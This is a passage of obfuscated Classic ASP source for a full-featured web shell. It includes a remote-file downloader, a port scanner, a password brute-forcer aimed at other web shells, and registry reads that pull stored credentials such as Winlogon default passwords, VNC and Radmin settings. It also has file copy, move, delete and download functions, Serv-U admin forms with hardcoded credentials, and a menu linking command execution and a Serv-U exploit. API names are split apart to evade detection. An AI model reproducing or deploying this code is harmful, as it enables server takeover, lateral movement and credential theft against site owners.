iiit"text","wtpog",wtpog,"","",""
echo"<td>"
qjr"Go"
echo"</td><td>"
zesc"reset","","ReSet","",""
echo"</td></tr>"
guenn
echo"</center>"
gbqwf
End Sub
Sub xbb()
cxaqj True
rtas "qtylw",3
echo"<center><b>Clean Temp Domain</b><br>"
sodx "80%"
abxky 1
doTd"Local user","20%"
iiit"text","vgm","LocalAdmin"+dslf+"istrator","30%","",""
doTd"Local pass","20%"
iiit"text","ulz","#l@$ak#.lk;0@P","30%","",""
uemp
abxky 0
doTd"Local port",""
iiit"text","kurmq","43"+zcek+"958","","",""
doTd"Temp domain port",""
iiit"text","wtpog","60000","","",""
uemp
abxky 1
echo"<td colspan='2'>"
qjr"Go"
echo"</td><td colspan='2'>"
zesc"reset","","ReSet","",""
echo"</td></tr>"
guenn
echo"</center>"
gbqwf
End Sub
Sub aum()
If Not ydnj Then On Error Resume Next
Dim theFolder
ajg"Asp Webshell Scanner"
echo"Path : "
cxaqj True
zesc"text","lqbip","/",50,""
echo" "
qjr"Scan"
jwik"glw",1," Get include files",""
If lqbip<>""Then
If InStr(lqbip,":\")<1 And Left(lqbip,2)<>"\\" Then lqbip=wxw(lqbip)
echo"<hr>"
Response.Flush()
yhigl
Set theFolder=xjab.GetFolder(lqbip)
gcaso(theFolder)
Set theFolder=Nothing
echo"</ul>"
End If
viwe
End Sub
Sub gcaso(theFolder)
If Not ydnj Then On Error Resume Next
Server.ScriptTimeOut=5000
Dim pdlm,vquvc,ext,nvkql,funcs,mrc,duvu,theFile,content,ybt
pdlm="WS"+qkdx+"cript.She"+nomr+"ll|WS"+qkdx+"cript.She"+nlrnz+"ll.1|She"+nlrnz+"ll.Applic"+oqzje+"ation|She"+nlrnz+"ll.Applic"+oqzje+"ation.1|clsid:72"+acxz+"C24DD5-D70A-438B-8A42-98"+cxly+"424B88AFB8|clsid:13"+kqzzy+"709620-C279-11CE-A49E-4445535"+euy+"40000"
vquvc="WS"+qkdx+"cript.She"+nomr+"ll;Run,Exec,RegRead|She"+nlrnz+"ll.Applic"+oqzje+"ation;ShellExe"+fopn+"cute|Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect;CreateTextFile,OpenTextFile,SavetoFile"
For Each eyr in theFolder.Files
ybt=False
mrc=False
ext=Lcase(zsz(eyr.Name,"."))
If vsb(ext,"^("&dxpm&")$") Then
content=tpcq(eyr.Path)
duvu=""
For Each xjmb in Split(pdlm,"|")
If InStr(1,content,xjmb,1)>0 Then
qean eyr,"Object with risk : <font color=""red"">"&xjmb&"</font>"
ybt=True
End If
Next
For Each strFunc in Split(vquvc,"|")
nvkql=dzzx(strFunc,";",True)
funcs=zsz(strFunc,";")
For Each subFunc in Split(funcs,",")
If vsb(content,"\."&subFunc&"\b") Then
qean eyr,"Called object <font color=""red"">"&nvkql&"'s "&subFunc&"</font> Function"
ybt=True
End If
Next
Next
If vsb(content,"Set\s*.*\s*=\s*server\s")Then
qean eyr,"Found Set xxx=Server"
ybt=True
End If
If vsb(content,"server.(execute|Transfer)([ \t]*|\()[^""]\)")Then
qean eyr,"Found <font color=""red"">Serv"+jiksj+"er.Execute / Transfer()</font> Function"
ybt=True
End If
If vsb(content,"\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript)\.encode\b")Then
qean eyr,"<font color=""red"">Script encrypted</font>"
ybt=True
End If
If vsb(content,"<script\s*(.|\n)*?runat\s*=\s*""?server""?(.|\n)*?>")Then
qean eyr,"Found <font color=""red"">"&mszsa("<script runat=""server"">")&"</font>"
ybt=True
End If
If vsb(content,"[^\.]\bExecute\b")Then
qean eyr,"Found <font color=""red"">Execute()</font> Function"
ybt=True
End If
If vsb(content,"[^\.]\bExecuteGlobal\b")Then
qean eyr,"Found <font color=""red"">ExecuteGl"+nypem+"obal()</font> Function"
ybt=True
End If
If glw=1 Then duvu=soa(content,"<!--\s*#include\s+(file|virtual)\s*=\s*.*-->",False)(0)
If duvu<>""Then
duvu=soa(duvu,"[/\w]+\.[\w]+",False)(0)
If duvu=""Then
qean eyr,"Can't get include file"
ybt=True
Else
qean eyr,"Included file <font color=""blue"">"&duvu&"</font>"
ybt=True
End If
End If
End If
If ybt Then
echo"<hr>"
Response.Flush()
End If
Next
For Each phebk in theFolder.SubFolders
gcaso(phebk)
Next
tvnm(Err)
End Sub
Sub qean(eyr,kqll)
mwt"<li><u>"
injj "veerr","unu",clwc(eyr.Path),eyr.Path,""
mwt"</u><font color=#9900FF>"&eyr.DateLastModIfied&"</font>-<font color=#009966>"&kxyzh(eyr.size)&"</font>-"&kqll&"</li>"
Response.Flush()
End Sub
Sub nvkq()
If Not ydnj Then On Error Resume Next
If lqbip=""Then lqbip=nzax
Dim mrpwl,yoc
yoc=aiw
mrpwl=wannd
If yoc=""Then yoc=Replace("HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Control\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\AutoAdmin"+itn+"Logon|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\Def"+lvgli+"aultUserName|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\Defaul"+zhisp+"tPassword|HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Services\MySQL\ImagePath|HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Services\Serv"+shn+"-U-Counters\Performance\Library|HK"+xoncv+"LM\SYSTEM\Curre"+fewse+"ntControlSet\Services\Serv"+shn+"-U\ImagePath|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Cat Soft\Serv"+shn+"-U\Domains\DomainList\DomainList|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\Parameter|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\Port|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\NT"+tpb+"AuThenabled|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\Fil"+qrby+"terIp|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\iplist\0|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\ORL\WinVNC3\default\Password|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\RealVNC\WinVNC4\Password|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\hzhost\config\Settings\mysqlpass|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\hzhost\config\Settings\mastersvrpass|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\hzhost\config\Settings\sysdbpss","|",vbCrLf)
If mrpwl=""Then mrpwl=Replace("x:\|x:\Program Files|x:\Program Files\Serv"+shn+"-U|x:\Program Files\RhinoSoft.com|x:\Program Files\Ra"+aumws+"dmin|x:\Program Files\Mysql|x:\Program Files\mail|x:\Program Files\winwebmail|x:\documents and Settings\All Users|x:\documents and Settings\All Users\documents|x:\documents and Settings\All Users\Start Menu\Programs|x:\documents and Settings\All Users\Application Data\Symantec\pcAnywhere|x:\Serv"+shn+"-U|x:\Ra"+aumws+"dmin|x:\Mysql|x:\mail|x:\winwebmail|x:\soft|x:\tools|x:\windows\temp","|",vbCrLf)
ajg"Action Others"
cxaqj True
rtas"qtylw","fgcb"
mwt"<b>Download to server</b><br>"
sodx"100%"
abxky 1
iiit"text","sesq","http://","80%","",""
fkv"Download","20%"
uemp
abxky 0
iiit"text","lqbip",lqbip,"","",""
echo"<td>"
jwik"overWri",2,"Overwrite",""
uemp
guenn
gbqwf
echo"<hr>"
cxaqj True
rtas"qtylw","grl"
mwt"<b>Port scan</b><br>"
sodx"100%"
abxky 1
doTd"Scan IP","20%"
iiit"text","czwfq","127.0.0.1","60%","",""
fkv"Scan","20%"
uemp
abxky 0
doTd"Port List","20%"
iiit"text","ugxyt","21,23,80,1433,1521,3306,3389,4899,43"+zcek+"958,65500","80%","",2
uemp
guenn
gbqwf
echo"<hr>"
cxaqj True
rtas"qtylw","axt"
mwt"<b>Tiny shell crack</b><br>"
sodx"100%"
abxky 1
doTd"Url","20%"
iiit"text","sesq","http://","60%","",""
fkv"Start","20%"
uemp
abxky 0
doTd"Dic","20%"
iiit"text","pnu","value,cmd,admin,fuck,fuckyou,go,123456,#,|,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,~,!,@,*,$,1,2,3,4,5,6,7,8,9,0","","",""
echo"<td>"
rycpp"ccnh","60px",""
exhpr"asp","asp"
exhpr"php","php"
ild
echo"</td>"
uemp
guenn
gbqwf
echo"<hr>"
echo"<form method=""post"" id=""form"&ujcmu&""" action="""&cngn&""" onSubmit=""javascript:yfmde(this)"">"
ujcmu=ujcmu+1
rtas"goaction","jilq"
rtas"qtylw","unu"
mwt"<b>Stream edit</b><br>"
sodx"100%"
abxky 1
doTd"Path","20%"
iiit"text","lqbip",nzax,"60%","",""
fkv"Start","20%"
uemp
guenn
gbqwf
echo"<hr>"
cxaqj True
rtas"qtylw","ieqhv"
mwt"<b>Common path Detection</b><br>"
sodx"100%"
abxky 1
lhue"wannd",mrpwl,6
fkv"Start","20%"
uemp
guenn
gbqwf
echo"<hr>"
cxaqj True
sodx"100%"
rtas"qtylw","lcos"
mwt"<b>Registry Detection</b><br>"
sodx"100%"
abxky 1
lhue"aiw",yoc,6
fkv"Start","20%"
uemp
guenn
gbqwf
echo"<hr>"
Select Case qtylw
Case"fgcb"
echo"<hr>"
baf()
Case"lcos"
echo"<hr>"
taerr()
Case"grl"
echo"<hr>"
vny()
Case"axt"
echo"<hr>"
qddd()
Case"ieqhv"
echo"<hr>"
nzbv()
End Select
End Sub
Sub baf()
If Not ydnj Then On Error Resume Next
Dim gfst,ertms
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
gfst=zsz(sesq,"/")
If InStr(lqbip,".")<1 Then lqbip=lqbip&"\"&gfst
iuwq.Open"GET",sesq,False
iuwq.send
ome(Err)
If overWri<>2 Then
overWri=1
End If
With nun
.Type=1
.Mode=3
.Open
.Write iuwq.ResponseBody
.Position=0
execute "nun.Sa"&uyl&"vetoFile lqbip,overWri"
.Close
End With
If Err Then
tvnm(Err)
Else
echo"Download succeeded"
End If
End Sub
Sub taerr()
If Not ydnj Then On Error Resume Next
Dim tftr
echo"Registry key detected will be shown below:<br>"
sodx "100%"
ads=1
vhl
doTd"<b>Key</b>",""
doTd"<b>Value</b>",""
uemp
For Each muh in Split(aiw,Chr(10))
muh=Replace(muh,Chr(13),"")
tftr=knf(muh)
If tftr<>"" Then
abxky ads
doTd muh,""
doTd tftr,""
uemp
nrf
End If
Next
guenn
If Err Then
tvnm(Err)
End If
End Sub
Function knf(rpath)
Dim daxgr,tftr
If Not ydnj Then On Error Resume Next
execute "daxgr=vnznl.RegR"&ddrpj&"ead(rpath)"
If IsArray(daxgr)Then
tftr=""
For i=0 To UBound(daxgr)
If IsNumeric(daxgr(i))Then
If CInt(daxgr(i))<16 Then
tftr=tftr&"0"
End If
tftr=tftr&CStr(Hex(CInt(daxgr(i))))
Else
tftr=tftr&daxgr(i)
End If
Next
knf=tftr
Else
knf=daxgr
End If
End Function
Sub vny()
If Not ydnj Then On Error Resume Next
If Not pwzt(czwfq)Then
yln "Invalid IP format"
viwe
End If
If Not vsb(ugxyt,"^(\d{1,5},)*\d{1,5}$")Then
echo "Invalid port format"
viwe
End If
echo "Scanning...<br>"
Response.Flush()
For Each tmpip in Split(czwfq,",")
For Each tmpPort in Split(ugxyt,",")
toqvj tmpip,tmpPort
Next
Next
End Sub
Sub toqvj(patae,pfj)
On Error Resume Next
Dim conn,ihk
Set conn=nfffq("Ad"+oge+"odb.Connecti"+wehbe+"on")
ihk="Provider=SQLOLEDB.1;Data Source="&patae&","&pfj&";User ID=lake2;Password=lake2;"
conn.ConnectionTimeout=1
conn.open ihk
If Err Then
If Err.number=-2147217843 or Err.number=-2147467259 Then
If InStr(Err.description,"(Connect()).")>0 Then
echo"<label>"&patae&":"&pfj&"</label><label>close</label><br>"
Else
echo"<label>"&patae&":"&pfj&"</label><label><font color=red>open</font></label><br>"
End If
Response.Flush()
End If
End If
End Sub
Sub qddd()
If Not ydnj Then On Error Resume Next
echo"Cracking...<br>"
Response.Flush()
For Each strPass in Split(pnu,",")
If ccnh="asp"Then
strpam=nwtcn(strPass)&"="&nwtcn("response.write 98611")
Else
strpam=nwtcn(strPass)&"="&nwtcn("echo 98611;")
End If
If InStr(rvi(sesq&"?"&strpam,"POST"),"98611")>0 Then
echo"Password is <font color=red>"&strPass&"</font> ^_^"
viwe
End If
Next
echo"Crack failed,RPWT?"
tvnm(Err)
End Sub
Sub nzbv()
If Not ydnj Then On Error Resume Next
Dim vhyzu,xad
echo"Path detected will be shown below:<br>"
wannd=Replace(wannd,"x:\","")
xad=1
For Each drive in xjab.Drives
For Each muh in Split(wannd,vbCrLf)
execute "vhyzu=drive.DriveL"&uocpb&"etter&"":\""&muh"
If xjab.FolderExists(vhyzu)Then
gfk xad
injj "veerr","",clwc(vhyzu),vhyzu,""
echo"</span>"
xad=xad+1
If xad=2 Then xad=0
vldnv.MoveNext
Response.Flush()
End If
Next
Next
tvnm(Err)
End Sub
Sub mddep()
Response.Cookies(fjjxv)=""
Response.Cookies(wseta&"ihk")=""
Response.Cookies(fjjxv).expires=Now
Response.Cookies(wseta&"ihk").expires=Now
Response.Redirect(cngn&"?goaction="&amb)
End Sub
Sub ajg(porw)
%>
<html>
<head>
<title><%=mvvi%></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.main{width:100%;padding:20px 20px 20px 20px;}
.hidehref{font:12px Arial,Tahoma;color:#646464;}
.showhref{font:12px Arial,Tahoma;color:#0099FF;}
.input{font:12px Arial,Tahoma;background:#fff;height:20px;BORDER-WIDTH:1px;}
.text{font:12px Arial,Tahoma;background:#fff;padding:1px;BORDER-WIDTH:1px;}
.tdInput{font:12px Arial,Tahoma;background:#fff;padding:1px;height:20px;width:100%;BORDER-WIDTH:1px;}
.tdText{font:12px Arial,Tahoma;background:#fff;padding:1px;width:100%;BORDER-WIDTH:1px;}
.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.frame{font:12px Arial,Tahoma;border:1px solid #ddd;width:100%;height:400px;padding:1px;}
a{color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1Span{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e6e8ea;padding:6px 10px 0px 5px;min-height:25px;width:100%;display:block}
.alt0Span{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fbfcfd;padding:6px 10px 0px 5px;min-height:25px;width:100%;display:block}
.link td{border-top:1px solid #fff;border-bottom:1px solid #ccc;background:#e0e2e6;padding:5px 10px 5px 5px;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e6e8ea;padding:2px 10px 2px 5px;height:28px}
.alt0 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fbfcfd;padding:2px 10px 2px 5px;height:28px}
.focusTr td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#d9dbdf;padding:2px 10px 2px 5px;height:28px}
.head td{border-top:1px solid #ccc;border-bottom:1px solid #bbb;background:#d9dbdf;padding:5px 10px 5px 5px;font-weight:bold;}
form{margin:0;padding:0;}
.bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:23px;padding:0 6px;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:50%;margin-right:10px;}
label{font:12px Arial,Tahoma;float:left;width:20%;}
.lbl{font:12px Arial,Tahoma;float:none;width:auto;}
</style>
<script>
var sjk='';function bik(obj){var sender=event.srcElement;if(obj.style.display=='none'){obj.style.display='';sender.className='showhref';}else{obj.style.display='none';sender.className='hidehref';}}function tort(){form2.qtylw.value="msbca";form2.submit();}function qjr(lfy,crlb,Str){var renStr;actForm.goaction.value=lfy;actForm.qtylw.value=crlb;if((lfy=="veerr"||lfy=="jilq"||lfy=="jzp")&&Str&&Str.indexOf(":\\")<0&&Str.substr(0,2)!="\\\\"){objpath=document.getElementById('brwr');if(objpath){Str=objpath.value+Str;}}actForm.gwk.value=miig(Str);switch(crlb){case"omtw":yfmde(document.getElementById('upform'));upform.submit();break;case"fomgk":yfmde(document.getElementById('saform'));saform.submit();break;case"ttg":case"vseta":case"wma":case"plz":case"strwh":case"swxiy":case"ezemc":switch(crlb){case"wma":case"vseta":renStr=prompt("Move to :",dzzx(Str,"\\",false));break;case"plz":case"ttg":renStr=prompt("Copy to :",dzzx(Str,"\\",false));break;case"strwh":case"swxiy":renStr=prompt("Rename as :",zsz(Str,"\\"));if(crlb=="strwh"){while(renStr.indexOf(".")<0&&renStr){renStr=prompt("Invalid file name format!",zsz(Str,"\\"));}}break;}if(!renStr){return;}actForm.gwk.value=miig(Str+"|"+renStr);actForm.submit();break;case"dprl":case"eyq":if(confirm("Delete "+Str+"?Are you sure?")){actForm.submit();}break;default:actForm.submit();break;}}function miig(pamToEn){if(!<%=Lcase(CStr(pipu))%>||!pamToEn){return(pamToEn);}var tt="";for(var i=0;i<pamToEn.length;i++){tt+=(pamToEn.charCodeAt(i)+<%=iycew%>)+"<%=csj%>";}return(tt.substr(0,tt.length-1));}function yfmde(xgqlo){var pamArr="<%=jsrfr%>".split("|");for(var i=0;i<pamArr.length;i++){if(xgqlo.elements[pamArr[i]]){xgqlo.elements[pamArr[i]].value=miig(xgqlo.elements[pamArr[i]].value);}}}function vtbqk(){if(ghpc.checked){ogda.value=miig(ogda.value);}else{ogda.value=mdez(ogda.value);}}function thra(){inl.document.body.innerHTML="<form name=frm method=post action='?'><input type=hidden name=goaction value='<%=goaction%>' /><input type=hidden name='qtylw' value='viewResult'/><input type=hidden name='uwrty' value='"+miig(form1.ihyn.value.substr(form1.ihyn.value.indexOf(">")+1).replace(/(^[\s]*)|([\s]*$)/g,""))+"'/></form>";inl.document.frm.submit();}function abckx(crlb,ihk,ybgqm,rxg,fkho){sqlForm.qtylw.value=crlb;if(crlb=="usa"){if(!confirm("Delete this table?Are you sure?")){return;}}if(ihk){if(ihk.toLowerCase().indexOf("=")<0){ihk="<%=xop("")%>"+brwr.value+ihk;}sqlForm.ihk.value=ihk;}sqlForm.ihk.value=miig(sqlForm.ihk.value);sqlForm.ybgqm.value=miig(ybgqm);sqlForm.rxg.value=miig(rxg);sqlForm.fkho.value=fkho;sqlForm.submit();}function tywoa(server,user,pass,db,sspi){if(sspi){form1.ihk.value="PROVIDER=SQLOLEDB;DATA SOURCE="+server+";DATABASE="+db+";Integrated Security=SSPI";}else{form1.ihk.value="PROVIDER=SQLOLEDB;DATA SOURCE="+server+";UID="+user+";PWD="+pass+";DATABASE="+db;}}function kew(dbpath){form1.ihk.value="<%=xop("")%>"+dbpath;}function cmxd(){var pamArr="<%=jsrfr%>".split("|");var reg=/^([\d]+\<%=csj%>)+[\d]+$/;for(var i=0;i<document.forms.length;i++){var xgqlo=document.forms[i];for(var j=0;j<pamArr.length;j++){if(xgqlo.elements[pamArr[j]]){xgqlo.elements[pamArr[j]].value=mdez(xgqlo.elements[pamArr[j]].value);}}}}function mdez(otrjv){if(!<%=Lcase(CStr(pipu))%>||!otrjv||!otrjv.match(/^(\d+\<%=csj%>)+\d+$/)){return(otrjv);}var dd="";var tcpo=otrjv.split("<%=csj%>");for(var i=0;i<tcpo.length;i++){if(tcpo[i].match(/^\d+$/)){dd+=String.fromCharCode(tcpo[i]-<%=iycew%>);}else{dd+=tcpo(i);}}return(dd);}function vszds(arr,str){for (i=0;i<arr.length;i++){if(arr(i)==str){return true;}}return false;}function dzzx(str,isbbo,liujq){if(!str||str.indexOf(isbbo)<0){return(str);}if(liujq){return(str.substr(0,str.indexOf(isbbo)));}else{return(str.substr(0,str.lastIndexOf(isbbo)));}}function zsz(str,isbbo){if(!str||str.indexOf(isbbo)<0){return(str);}return(str.substr(str.lastIndexOf(isbbo)+1));}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all;"bgcolor="#fbfcfd">
<table width="100%"border="0"cellpadding="0"cellspacing="0">
<tr class="head">
<td style="width:30%"><br><%=ramoi("LOCAL_ADDR")&"("&lkyy&")"%></td>
<td align="center" style="width:40%"><br>
<b><%opa mvvi,"#0099FF","3"%></b><br>
</td>
<td style="width:30%"align="right"><%=xqai()%></td>
</tr>
<form id="actForm"method="post"action="<%=cngn%>">
<input type="hidden" id="goaction" name="goaction" value="">
<input type="hidden" id="qtylw" name="qtylw" value="">
<input type="hidden" id="gwk" name="gwk" value="">
</form>
<form id="sqlForm"method="post"action="<%=cngn%>">
<input type="hidden" id="goaction" name="goaction" value="kbqxz">
<input type="hidden" id="qtylw" name="qtylw" value="">
<input type="hidden" id="ihk" name="ihk" value="<%=ihk%>">
<input type="hidden" id="ybgqm" name="ybgqm" value="">
<input type="hidden" id="rxg" name="rxg" value="">
<input type="hidden" id="fkho" name="fkho" value="">
</form>
<%
If uwdvh Then
%>
<tr class="link">
<td colspan="3">
<a href="javascript:qjr('lfx','','');">Server Info</a> |
<a href="javascript:qjr('bapis','','');">Object Info</a> |
<a href="javascript:qjr('eyb','','');">User Info</a> |
<a href="javascript:qjr('fbk','','');">C-S Info</a> |
<a href="javascript:qjr('zzajv','','');">WS Execute</a> |
<a href="javascript:qjr('rwumm','','');">App Execute</a> |
<a href="javascript:qjr('veerr','','');">FSO File</a> |
<a href="javascript:qjr('jilq','','');">App File</a> |
<a href="javascript:qjr('kbqxz','','');">DataBase</a> |
<a href="javascript:qjr('jzp','','');">File Packager</a> |
<a href="javascript:qjr('dkdl','','');">File Searcher</a> |
<a href="javascript:qjr('ide','','');">ServU Exp</a> |
<a href="javascript:qjr('rcjqh','','');">Scan Shells</a> |
<a href="javascript:qjr('gbe','','');">Some Others...</a> |
<a href="javascript:qjr('Logout','','');">Logout</a> |
<a href="javascript:cmxd();">Decode</a>
</td>
</tr>
<%
End If
%></table>
<table width="100%"><tr><td class="main"><br>
<%
echo"<b>"
opa porw&"»","#0099ff","2"
mwt"</b><br><br>"
End Sub
Sub grh()
Dim sqx
sqx=dzzx(ramoi("PATH_INFO"),"/",False)
echo rvi("http://"&lkyy&sqx&"/"&echs&"?"&ramoi("QUERY_STRING"),"GET")
response.End
End Sub
Sub btsva(vzznl,ifcyx)
Dim dyb
If Not ydnj Then On Error Resume Next
echo"<li><u>"&vzznl
If ifcyx<>""Then
echo"(Object "&ifcyx&")"
End If
echo"</u>"
If Err Then Err.Clear
Set dyb=nfffq(vzznl)
If Err Then
opa mszsa("Disabled"),"red",""
Else
opa mszsa("Enabled "),"green",""
echo"Version:"&dyb.Version&";"
echo"About:"&dyb.About
End If
echo"</li>"
If Err Then Err.Clear
Set dyb=Nothing
End Sub
Sub etndu(zknc)
Dim User,pvbv,ekf
If Not ydnj Then On Error Resume Next
Set User=getObj("WinNT://./"&zknc&",user")
pvbv=User.Get("UserFlags")
ekf=User.LastLogin
abxky 0
doTd"Description","20%"
doTd User.Description,"80%"
uemp
abxky 1
doTd"Belong to",""
doTd sbbo(zknc),""
uemp
abxky 0
doTd"Password expired","20%"
doTd CBool(User.Get("PasswordE"+aanza+"xpired")),"80%"
uemp
abxky 1
doTd"Password never expire",""
doTd cbool(pvbv And&H10000),""
uemp
abxky 0
doTd"Can't change password",""
doTd cbool(pvbv And&H00040),""
uemp
abxky 1
doTd"Global-group account",""
doTd cbool(pvbv And&H100),""
uemp
abxky 0
doTd"Password length at least",""
execute "doTd User.PasswordMini"&njwg&"mumLength,"""""
uemp
abxky 1
doTd"Password required",""
doTd User.PasswordRequired,""
uemp
abxky 0
doTd"Account disabled",""
execute "doTd User.A"&vxdx&"ccountDisabled,"""""
uemp
abxky 1
doTd"Account locked",""
execute "doTd User.IsA"&puryf&"ccountLocked,"""""
uemp
abxky 0
doTd"User profile",""
doTd User.Profile,""
uemp
abxky 1
doTd"User loginscript",""
doTd User.LoginScript,""
uemp
abxky 0
doTd"Home directory",""
doTd User.HomeDirectory,""
uemp
abxky 1
doTd"Home drive",""
doTd User.Get("HomeDirDri"+icuro+"ve"),""
uemp
abxky 0
doTd"Last login",""
doTd ekf,""
uemp
If Err Then Err.Clear
End Sub
Function sbbo(zknc)
Dim ogs,yyjd
Set ogs=getObj("WinNT://./"&zknc&",user")
For Each yyjd in ogs.Groups
sbbo=sbbo&" "&yyjd.Name
Next
End Function
Function tpcq(lqbip)
If Not ydnj Then On Error Resume Next
execute "Set objCountFile=xjab.OpenTextFi"&uwpv&"le(lqbip,1,True)"
execute "tpcq=Replace(CStr(objCountFile.ReadA"&kba&"ll),Chr(0),"" "")"
objCountFile.Close
Set objCountFile=Nothing
End Function
Function rchgv(lqbip)
If Not ydnj Then On Error Resume Next
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
With nun
.Type=2
.Mode=3
.Open
.LoadFromFile lqbip
If qtylw="tzsaq" Then
.CharSet="utf-8"
Else
.CharSet=alqp
End If
.Position=2
rchgv=Replace(CStr(.ReadText()),Chr(0)," ")
.Close
End With
Set nun=Nothing
End Function
Sub woli(lqbip,ogda,bku)
If Not ydnj Then On Error Resume Next
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
With nun
.Type=bku
.Mode=3
.Open
If qtylw="evwr"Then
.CharSet="utf-8"
ElseIf qtylw="Save"Then
.CharSet=alqp
End If
If bku=2 Then
.WriteText ogda
Else
.Write ogda
End If
execute "nun.Sav"&ehyx&"etoFile lqbip,2"
.Close
End With
Set nun=Nothing
End Sub
Sub ekg(lqbip,ogda)
Dim theFile
execute "Set theFile=xjab.OpenTextFi"&xxic&"le(lqbip,2,True)"
theFile.Write ogda
theFile.Close
Set theFile=Nothing
End Sub
Sub xhsy()
If Not ydnj Then On Error Resume Next
If mhvec="file"Then
lqbip=lqbip&"\"&exte
execute "Call xjab.CreateTextF"&vepv&"ile(lqbip,False)"
unu
Else
execute "xjab.Creat"&fmddd&"eFolder(lqbip&""\""&exte)"
End If
If Err Then
tvnm(Err)
Else
yln"File/folder created"
End If
End Sub
Sub ohcrx()
Dim wabnd,phebk,pnhl,tlk
If Not ydnj Then On Error Resume Next
lqbip=dzzx(gwk,"|",False)
wabnd=zsz(gwk,"|")
If InStr(lqbip,"\")<1 Then lqbip=lqbip&"\"
Dim theFile,fileName,theFolder
If lqbip=""Or wabnd=""Then
yln"Parameter wrong!"
Exit Sub
End If
If iij="fso"Then
If qtylw="renamefolder"Then
Set theFolder=xjab.GetFolder(lqbip)
theFolder.Name=wabnd
Set theFolder=Nothing
Else
Set theFile=xjab.GetFile(lqbip)
theFile.Name=wabnd
Set theFile=Nothing
End If
Else
tlk=zsz(lqbip,"\")
pnhl=dzzx(lqbip,"\",False)
execute "Set phebk=zjhor.NameSpac"&vpg&"e(pnhl)"
Set tywoo=phebk.ParseName(tlk)
tywoo.Name=wabnd
End If
If Err Then
tvnm(Err)
Else
yln"Rename completed"
End If
End Sub
Sub usxi()
If Not ydnj Then On Error Resume Next
If qtylw="eyq"Then
execute "Call xjab.Dele"&jbnby&"teFolder(lqbip,True)"
Else
execute "Call xjab.Delet"&mqsyf&"eFile(lqbip,True)"
End If
If Len(lqbip)=2 Then lqbip=lqbip&"\"
If Err Then
tvnm(Err)
Else
yln"File/folder deleted"
End If
End Sub
Sub rumla()
Dim uezoi,bpz,jxjkg,wkic,ebx
If Not ydnj Then On Error Resume Next
lqbip=Left(gwk,Instr(gwk,"|")-1)
bpz=Mid(gwk,InStr(gwk,"|")+1)
If lqbip=""Or bpz=""Then
yln"Parameter wrong!"
Exit Sub
End If
If xjab.FolderExists(bpz)And Right(bpz,1)<>"\" Then bpz=bpz&"\"
Select Case qtylw
Case"ttg"
execute "Call xjab.Co"&ygvp&"pyFolder(lqbip,bpz)"
Case"plz"
execute "Call xjab.Cop"&onn&"yFile(lqbip,bpz)"
Case"vseta"
execute "Call xjab.Mo"&ofe&"veFolder(lqbip,bpz)"
Case"wma"
'echo lqbip&"||"&bpz
execute "Call xjab.Mo"&wert&"veFile(lqbip,bpz)"
End Select
If Err Then
tvnm(Err)
Else
yln"File/folder copyed/moved"
End If
End Sub
Function pwzt(gwoi)
pwzt=vsb(gwoi,"^((\d{1,3}\.){3}(\d{1,3}),)*(\d{1,3}\.){3}(\d{1,3})$")
End Function
Sub cqbv()
Response.Clear
If Not ydnj Then On Error Resume Next
Dim fileName,awila
fileName=zsz(lqbip,"\")
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
nun.Open
nun.Type=1
execute "nun.LoadFrom"&uwbp&"File(lqbip)"
tvnm(Err)
Session.CodePage=936
Response.Status="200 OK"
Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName
Session.CodePage=65001
Response.AddHeader"Content-Length",nun.Size
Response.ContentType="Application/Octet-Stream"
Response.BinaryWrite nun.Read
Response.Flush()
nun.Close
Set nun=Nothing
End Sub
Function iuws(site,zyco)
